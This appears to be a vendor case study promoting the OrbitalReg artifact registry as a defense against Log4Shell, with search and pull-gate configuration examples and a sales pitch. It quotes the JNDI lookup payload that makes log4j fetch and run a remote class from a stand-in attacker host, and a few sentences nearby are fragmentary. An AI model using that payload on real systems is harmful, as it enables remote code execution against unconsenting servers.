Supply-chain case study · retrospective
Log4Shell · December 2021CVE-2021-44228. CVSS 10.0. A pre-auth remote code execution against anything that ever logged an attacker-controlled string through log4j 2.x. The patch was simple. The hard part was finding every JVM in your fleet that had log4j on the classpath — transitively, sometimes five levels deep.
The vulnerability
$${jndi:ldap://attacker.com/x}. The framework reaches out, fetches a remote Java class, and loads it. find / -name "log4j*.jar" across thousands
of hosts. Many missed it because log4j was a five-level-deep
transitive dependency they'd never explicitly added.
The structural gap
In most enterprise Java shops, Maven artifacts come from a mix of public Maven Central, internal Nexus / Artifactory mirrors, and ad-hoc local repos developers added years ago and never documented. There is no single point that sees every log4j-core jar that ever entered the org.
Transitive dependencies make this worse. Spring Boot pulls
Spring Cloud pulls a third-party library that pulls log4j —
the developer who added Spring Boot has no idea log4j is in
the closure. A team-by-team
mvn dependency:tree
sweep would have produced the answer in two weeks, which is
exactly what happened at most organisations.
The fix is not a smarter scanner. It's a registry that indexes every artifact and its transitive dependencies at upload time, and exposes that index as a single API. Then "where is log4j-core 2.x in our fleet" is a query, not a hunt.
The OrbitalReg defense pattern
/api/v1/search?format=maven&query=log4j-core
returns every matching artifact across every Maven repo the
registry serves — local, remote, virtual. Versions, projects,
last-pull timestamps. The answer comes back in seconds, not
weeks. Filter to vulnerable version ranges and you have the
patch worklist.
Once GHSA-jfh8-c2jp-5v3q landed (10 Dec 2021), the verify-on-pull
gate marks every log4j 2.0 – 2.14.1 as critical. Builds that try
to pull a vulnerable version receive a
403 with the GHSA ID.
Buys your patch-team time without depending on every dev to
notice the headline.
Every upload produces a CycloneDX SBOM. The registry indexes
the full dependency closure, so the question "which of our
first-party builds transitively depend on log4j-core" answers
the same way — single API call, sub-second. No
mvn dependency:tree tour required.
Config sketch
Set this up for every Maven repo in the org and the fleet gets the gate for free. The cross-repo search and SBOM index come along with it.
# Mirror Maven Central with CVE detection + pull-gate.
orbital repo create maven-central \
--format=maven --kind=remote \
--upstream=https://repo1.maven.org/maven2 \
--scanner=trivy,grype,osv \
--sbom=cyclonedx-on-upload \
--pull-gate=block-on-cve-critical
# Then, the morning of a CVE disclosure:
orbital search --format=maven \
--query=log4j-core \
--version-range=">=2.0,<2.17.0"
For your records
Honest caveats
It does not protect against the zero-day window. Between the Twitter PoC on Dec 9 and the GHSA filing on Dec 10, no scanner had a current entry. Anyone who pulled fresh during that ~24 h was on their own. Faster than that is not something a registry can deliver — it's a function of when the advisory feed updates.
It does not patch your already-deployed servers. The gate prevents new pulls of vulnerable versions. Servers already running log4j-2.14 will keep running it until the next deploy. The cross-repo search tells you where they are; deploying the fix is still your CI/CD's job.
It does not see runtime classpath. OrbitalReg sees what your build pulled. If somebody side-loaded a log4j jar via ops scripting that bypassed the registry, OrbitalReg has no visibility. Classpath inventory at runtime is an agent-based problem; we're an artifact-store problem.
SBOM-coverage requires upstream cooperation. Many open-source Maven artifacts still don't ship SBOMs. OrbitalReg can generate one from binary contents (jar scanning), but that's a heuristic — it'll see direct deps, miss reflectively-loaded classes. Direct deps are 95% of the log4j-detection signal; not 100%.
Primary sources
Want fleet-wide visibility before the next critical CVE?
Rico, the founder, walks you through how a single OrbitalReg instance can index every Maven repo in your org, expose the SBOM-transitive view, and feed the answers directly to your incident-response runbooks.